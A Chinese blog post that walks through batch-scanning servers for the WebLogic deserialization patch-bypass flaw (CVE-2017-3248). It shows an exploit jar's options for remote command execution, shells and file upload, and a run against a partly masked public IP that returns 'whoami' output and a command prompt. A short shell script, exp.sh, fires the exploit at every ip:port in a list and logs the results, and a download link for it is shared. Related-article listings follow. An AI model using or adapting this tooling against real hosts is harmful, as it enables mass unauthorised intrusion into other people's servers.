~ 以下内容,仅供学习参考 ~

  weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效率有点低 ~  而我自己又没有能力去重写一个批量检测工具,于是乎就想能不能通过一些非技术手段 ~ 先看下该工具的使用方法:

starnight:shell starnight$ java -jar weblogic.jar
usage: supeream
-B Runtime Blind Execute Command maybe you should select os
type
-C <arg> Execute Command[need set]
-dst <arg> path to dst file
-H <arg> Remote Host[need set]
-https enable https or tls
-noExecPath custom execute path
-os <arg> Os Type [windows,linux]
-P <arg> Remote Port[need set]
-shell enable shell module
-src <arg> path to src file
-T <arg> Payload Type[marshall, collection, streamMessageImpl]
-U Uninstall rmi
-upload enable upload a file

  一般来讲我们只需要提供一个ip和端口就可以进行检测了,像下面这样:

starnight:shell starnight$ java -jar weblogic.jar  -H 220.195.*.197 -P 
检查是否安装rmi实例
rmi已经安装
执行命令:whoami
weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P -shell
检查是否安装rmi实例
rmi已经安装
please input cmd:>whoami
weblogic please input cmd:>

 工具运行的时候,会给出比较详细的信息,试想以下,这些信息只需要保存在一个文本文件中,到时候我们直接查看文本便能清楚的知道,该ip:port是否存在weblogic反序列化补丁绕过漏洞,要是能让该工具自动的从一个保存ip:port的文本文件中,一条条的读取ip:port,然后执行,再将输出信息保存在result.txt中,等程序运行结束,只要查看result.txt即可。

  ~ 怎么搞,当然是写shell脚本啦 ~ 但是,我也不会啊 ~ 没关系,一步步来,我们可以先想想如何去实现这样一个小功能
  ~~ 首先,脚本需要从保存ip:port的列表文件ips.txt中一行行读取,然后分别赋给ip 和 port变量
  ~~ 有了ip 和 port之后,这条命令便能执行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 将结果追加到文件中,使用 ">>"即可
  ~~ 再对脚本做一些修饰,让输出更友好
  ~~ shell脚本内容参考如下:

starnight:shell starnight$ cat exp.sh
var=
while IFS=: read ip port; do
var=$((var + ))
echo [$var] $ip $port
echo "[$var]$ip $port" >> result.txt
java -jar weblogic.jar -H $ip -P $port >> result.txt
echo "" >> result.txt done < ips.txt

  只要短短的几行,便改造成了一个批量脚本,瞬间感觉,我要去学shell编程了 ~

  运行该脚本:./exp.sh      [需要执行权限]

运行结果就不分享了,试试哦 ~

脚本分享百度云:

  链接:http://pan.baidu.com/s/1c1FW2wK  密码:ywm3



weblogic 反序列化补丁绕过漏洞的一个批量检测shell脚本(CVE-2017-3248 )的更多相关文章

  1. 工程师技术(五):Shell脚本的编写及测试、重定向输出的应用、使用特殊变量、编写一个判断脚本、编写一个批量添加用户脚本

    一.Shell脚本的编写及测 目标: 本例要求两个简单的Shell脚本程序,任务目标如下: 1> 编写一个面世问候 /root/helloworld.sh 脚本,执行后显示出一段话“Hello ...

  2. shell编写一个批量添加用户脚本

                                                          shell编写一个批量添加用户脚本 5.1问题 本例要求在虚拟机server0上创建/roo ...

  3. java classpath批量设置shell脚本

    java classpath批量设置shell脚本   注意:linux bash jar文件之间的分隔符是':'    export JAR_HOME=path to directory which ...

  4. 一个简单的shell脚本

    一个简单的shell脚本 一个简单的shell脚本 编写 假设我想知道目前系统上有多少人登录,使用who命令可以告诉你现在系统有谁登录: 1.[KANO@kelvin ~]$ who2.KANO tt ...

  5. Linux定时对日志批量打包Shell脚本及定时任务crontab 详细用法

    一.需求背景     因此次项目的生产环境中部署了多套系统,每天会产生大量的日志(数百GB的量),侵占了服务器宝贵的存储资源空间.为了有效缓解服务器存储压力,考虑通过Linux的Shell脚本结合cr ...

  6. 一个不错的shell 脚本教程 入门级

    一个很不错的bash脚本编写教程,至少没接触过BASH的也能看懂     建立一个脚本 Linux中有好多中不同的shell,但是通常我们使用bash (bourne again shell) 进行s ...

  7. 如何在linux下编写一个简单的Shell脚本程序

    在了解了linux终端和其搭配的基本Shell(默认为bash)的基础下,我们就可以在终端中用vi/vim编辑器编写一个shell的脚本程序了 Shell既为一种命令解释解释工具,又是一种脚本编程语言 ...

  8. 一个简单的Shell脚本(解决windows上文本在macos上乱码问题)

    之所以有这一篇文章,是因为之前我写过的一篇文章:“解决Mac上打开txt文件乱码问题”:传送门: https://www.cnblogs.com/chester-cs/p/11784079.html ...

  9. iOS 批量打包--Shell脚本

    由于公司有批量打包的需要,只是渠道号不一样,网上搜索一番,大致有两个方式:a) 从源程序一次性打出所有渠道的ipa包,大概的思路就是利用脚本循环执行打包过程,而每次打包前都通过脚本修改项目中存放渠道号 ...

随机推荐

  1. 使用JavascriptExecutor将页面滚动到最底部

    使用如下代码,将页面滚动到最底部 @Test(enabled = true) public void scroll(){ String jsStr="window.scrollTo(0,do ...

  2. golang build 的简单用法.(菜鸟初学)

    1. golang 里面的 go build 可以编译代码. go build helloworld.go 2. 这里面有一个注意事项事项. 如果引用非go语言的 内置package的话 需要在环境变 ...

  3. QT源码解析(七)Qt创建窗体的过程,作者“ tingsking18 ”(真正的创建QPushButton是在show()方法中,show()方法又调用了setVisible方法)

    前言:分析Qt的代码也有一段时间了,以前在进行QT源码解析的时候总是使用ue,一个函数名在QTDIR/src目录下反复的查找,然后分析函数之间的调用关系,效率实在是太低了,最近总结出一个更简便的方法, ...

  4. Java Queue 专题

    关于java中的Queue,经常用到,做个总结 Queue是一种很常见的数据结构类型,在java里面Queue是一个接口,它只是定义了一个基本的Queue应该有哪些功能规约. (Java中的集合包括三 ...

  5. java中的==操作符和equals函数

    基本规则 “==”操作符的使用需要分成两种情况 判值类型相等 这一点很好理解,两个值类型代表的数值相等,则“==”表达式返回true “==”可以用与不同值类型的比较,语言会自动进行类型转换 判引用类 ...

  6. python3+selenium3+requests爬取我的博客粉丝的名称

    爬取目标 1.本次代码是在python3上运行通过的 selenium3 +firefox59.0.1(最新) BeautifulSoup requests 2.爬取目标网站,我的博客:https:/ ...

  7. POJ2391_Ombrophobic Bovines

    有F个地方,每个地方有一定数量的牛,能够容纳一定数量的牛,某些地方之间有边,表示走两点之间需要消耗的时间. 现在求使得所有的牛都被容纳所需要的最少的时间. 由于时间是一个不确定的因素,我们需要二分. ...

  8. matplotlib + pandas绘图

    利用pandas处理日期数据,并根据日期绘制增长率曲线. 处理的json文本内容如下: # pd.json [{"name": "A", "date& ...

  9. Android Studio之BuildConfig类

    https://blog.csdn.net/lvxiangan/article/details/71601451 Android Studio开发中,把一个module输出打包为jar文件,我们会发现 ...

  10. 音视频处理之FFmpeg+SDL视频播放器20180409

    一.FFmpeg视频解码器 1.视频解码知识 1).纯净的视频解码流程 压缩编码数据->像素数据. 例如解码H.264,就是“H.264码流->YUV”. 2).一般的视频解码流程 视频码 ...